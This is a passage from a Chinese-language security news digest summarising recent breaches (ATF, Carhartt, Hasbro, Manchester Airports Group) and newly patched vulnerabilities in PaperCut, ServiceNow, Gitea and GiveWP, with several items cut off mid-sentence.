美国烟酒枪炮及爆炸物管理局（ATF）确认，其一套独立系统遭网络攻击，并将事件定性为“重大事件”。此前Qilin勒索软件团伙已在暗网泄露站点将ATF列为受害者，但未说明是否窃取数据或提出赎金要求。ATF表示，受影响系统与其企业网络相互隔离，目前没有迹象表明企业网络、eForms系统或其他业务系统受到影响，机构运营也未受干扰。事件发现后，ATF已切断相关环境连接，并联合美国司法部开展取证调查。Qilin自2022年活跃以来已宣称攻击超过22 4、Carhartt数据泄露影响1290万账户 https://www.bleepingcomputer.com/news/security/carhartt-data-breach-exposes-information-of-129-million-accounts/ 数据泄露通知服务Have I Been Pwned披露，美国服装零售商Carhartt遭ShinyHunters勒索组织入侵，超过1290万个账户信息被泄露。攻击者声称窃取超过50GB数据，涉及客户、员工及企业内部信息，并在Carhartt拒绝支付330万美元赎金后将数据公开。泄露信息包括姓名、邮箱、电话号码、地址等，另有超过1.5万名员工邮箱出现在数据集中。分析显示， 5、PaperCut零日漏洞遭在野利用 https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/ PaperCut警告，其PaperCut NG和PaperCut MF打印管理软件正遭遇零日漏洞攻击，且所有版本均受影响，目前已确认存在客户服务器被入侵事件。攻击者主要针对暴露在互联网的PaperCut Application Server实施攻击。官方已紧急发布安全补丁，并建议无法立即更新的用户通过防火墙或网络访问控制，将Web管理界面限制为仅可信IP可访问。受感染系统可能出现pc-app.exe异常活动以及ser 6、ServiceNow修复三项最高危漏洞 https://nvd.nist.gov/vuln/detail/cve-2026-6876 ServiceNow发布安全更新，修复AI Platform中的三项最高严重级别漏洞CVE-2026-18885、CVE-2026-18886和CVE-2026-74820。三项漏洞均可被未认证攻击者在无需用户交互的情况下利用，分别可导致任意代码执行、权限提升以及通过SQL注入访问或篡改实例数据。官方同时修复一项高危沙箱逃逸漏洞CVE-2026-6876，可使低权限攻击者进一步实现远程代码执行。目前尚未发现上述漏洞遭在野利用，ServiceNow已敦促自托管客户尽快升级至修复版本。 7、Hasbro数据泄露暴露员工敏感信息 https://www.mass.gov/doc/2026-1427-hasbro-inc/download 美国玩具及娱乐巨头Hasbro披露一起数据泄露事件，攻击者通过入侵一名员工账户获取部分员工个人及财务信息。泄露内容因人员而异，可能包括姓名、邮箱、地址、电话号码、身份证件号码及金融信息等。马萨诸塞州监管记录显示，当地至少436名员工受到影响，涉及社会安全号码、银行账户、信用卡及驾照信息。Hasbro已禁用受影响账户、终止未授权访问并部署额外安全措施。目前公司尚未披露事件发现时间、总体受影响人数，也未确认是否涉及客户数据。 8、曼彻斯特机场集团遭攻击泄露旅客数据 https://www.manchesterairport.co.uk/help/data-security-incident/ 英国最大机场运营商曼彻斯特机场集团（MAG）披露，其系统遭黑客入侵并发生客户数据泄露，涉及曼彻斯特、伦敦斯坦斯特德和东米德兰兹机场的Wi-Fi注册、停车场、贵宾室及快速通道预订信息。泄露数据包括邮箱、电话号码、车牌号及邮编，但未涉及支付信息。此次事件未影响机场运营，MAG已限制受影响系统访问并通知执法部门。公司尚未公布具体受影响人数，当地媒体称最多可能涉及890万名旅客，但该数字尚未获得确认。目前暂无勒索或数据勒索组织公开认领此次攻击。 9、超8300台Gitea服务器仍暴露高危漏洞 https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m Shadowserver披露，截至8月27日仍有8393台公网Gitea服务器未修复CVE-2026-60004代码注入漏洞。该漏洞可被拥有仓库写权限的攻击者通过diffpatch接口执行任意Shell命令，而Gitea默认开放用户注册，使未认证攻击者可自行创建账户和仓库后触发漏洞。相关漏洞已遭在野利用，攻击者被观察到在未修复服务器上部署加密货币挖矿程序。Gitea已于7月27日发布1.27.1版本修复，CISA也已将其纳入已知被利用漏洞目录。 10、GiveWP严重漏洞可执行服务器命令 https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/ Patchstack披露，WordPress捐赠插件GiveWP存在最高严重级别漏洞CVE-2026-82222，影响4.16.7.1及之前版本，涉及超10万个网站。攻击者可利用未授权注册接口创建账户，再通过恶意序列化对象和捐赠处理流程触发反序列化漏洞，最终在服务器上执行任意系统命令。部分旧版捐赠表单配置更易受到攻击。GiveWP已于8月27日发布4.16.7.2版本修复该问题，并清理 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。